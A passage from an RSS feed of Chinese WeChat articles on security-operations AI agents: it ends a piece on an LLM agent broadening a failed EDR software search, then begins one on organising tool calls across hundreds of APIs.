0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> 自我反思</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">EDR Agent返回 “共发现 0 个相关软件” 这个负反馈 ，触发了LLM第二轮思考和行动。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">感知失败 -&gt; 重新规划 -&gt; 尝试解决复杂问题，是LLM“智能”的典型体现。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">LLM在我们的Agent中，它能够根据下游Agent的反馈（即所谓的</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;,&#34;data-pm-slice&#34;:&#34;4 3 [\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:\&#34;margin-bottom: 8px;\&#34;},\&#34;namespaceURI\&#34;:\&#34;\&#34;}]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">环境</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">感知），动态调整自我行为。</span></span></p></div></div><div style="margin-bottom: 8px;" data-pm-slice="4 3 []"><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span><span leaf="">常识推理</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p data-pm-slice="0 0 []" style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">LLM学习到了大量的常识，比如：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p data-pm-slice="0 0 []" style="margin-top: 16px;line-height: 1em;margin-bottom: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">爱奇艺是1个品牌名</span></span></p></li><li><p data-pm-slice="0 0 []" style="margin-top: 0px;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 14px;">软件命名规范</span></span></p></li></ul><p data-pm-slice="0 0 []" style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">它理解 </span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">“爱奇艺PC客户端” -&gt; “爱奇艺客户端” -&gt;“爱奇艺”</span><span textstyle="" style="font-size: 14px;"> 这3个词之间，是</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;,&#34;data-pm-slice&#34;:&#34;4 3 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">从“具体”到“通用”的层级</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;,&#34;data-pm-slice&#34;:&#34;4 3 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;,&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">逻辑</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;,&#34;data-pm-slice&#34;:&#34;4 3 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">关系</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></p><p data-pm-slice="0 0 []" style="margin-top: 16px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;,&#34;data-pm-slice&#34;:&#34;4 3 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">它知道软件命名可能出现各种变体，但核心的品牌名称，&#34;爱奇艺&#34;，通常是不变的。软件名称、版本号可以不规范，但无论如何，【爱奇艺】这个核心品牌名称，一般是存在的。于是，它将策略调整为只搜索核心关键词“爱奇艺”，制定覆盖范围最广、容错率最高的策略。</span></span></p><ul class="list-paddingleft-1"></ul></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483818">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=13dcedaf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483818%26idx%3D1%26sn%3D7c7a3c34eb3797deca0345fa66b0ec3c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 20 Aug 2025 12:13:00 +0800</pubDate>
    </item>
    <item>
      <title>大型AISecOps Agent难题: 20+功能Agent, 300+API的复杂集成</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483808&amp;idx=1&amp;sn=2e6ecc30ce3fff61e73b6ec2266707e1</link>
      <description>让我们来讨论一个企业级Agent设计难题。如果是你，你将如何设计，组织，调度一个20+功能Agent，300+ 数据表，几百个API的复杂系统？</description>
      <content:encoded><![CDATA[<p>
原创 <span>Li JieJie</span> <span>2025-08-11 12:01</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=39fa7509&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9knrdjetO6ibJf8QMY2SndOdtMicMqQWtfYiadibmGxvywibnRHibmjMWhfelsKicrUv6PtpAOicsAib5lQpzw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><span textstyle="" style="font-size: 14px;">让我们来讨论一个企业级Agent设计难题。如果是你，你将如何设计，组织，调度一个20+功能Agent，300+ 数据表，几百个API的复杂系统？</span></span></p><div><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  调用</span><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">工具</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">的常见方法</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p></div><p><span leaf=""><span textstyle="" style="font-size: 14px;">ReAct Agent中如何使用组织和调用工具？常见的方法</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">Prompt</span><span textstyle="" style="font-size: 14px;font-style: normal;">： 写提示词约定，让它输出某个包含function 和 参数的json。简单，自然语言，但缺点是非常不稳定，扩展性差，参数处理容易出现问题</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">Function Call</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-style: normal;">：稳定、安全性最高，确定性最高</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">依赖LLM 动态生成下游代码 (SQL/DSL/Python)</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-style: normal;">： 灵活性极高，支持处理复杂动态查询。但缺点明显，非常不稳定，有安全风险（如SQL注入）。 视你使用的模型能力强弱，通常，失败率不低</span></span></p></li></ul><p data-pm-slice="2 2 []" style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">你看到了，Function Call肯定是最好的啊。</span></span></p><p data-pm-slice="2 2 []" style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">事实上，20个</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="font-size: 14px;">Tool以内的</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">场景，你可以比较自由地组合上面的3个方法，怎么方便怎么来。</span></span></p><p data-pm-slice="2 2 []"><span leaf=""><span textstyle="" style="font-size: 14px;">然而，当存在几百个工具的时候，Function Call也玩不转了。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  </span><span leaf="">工具过多撑爆LLM上下文</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: 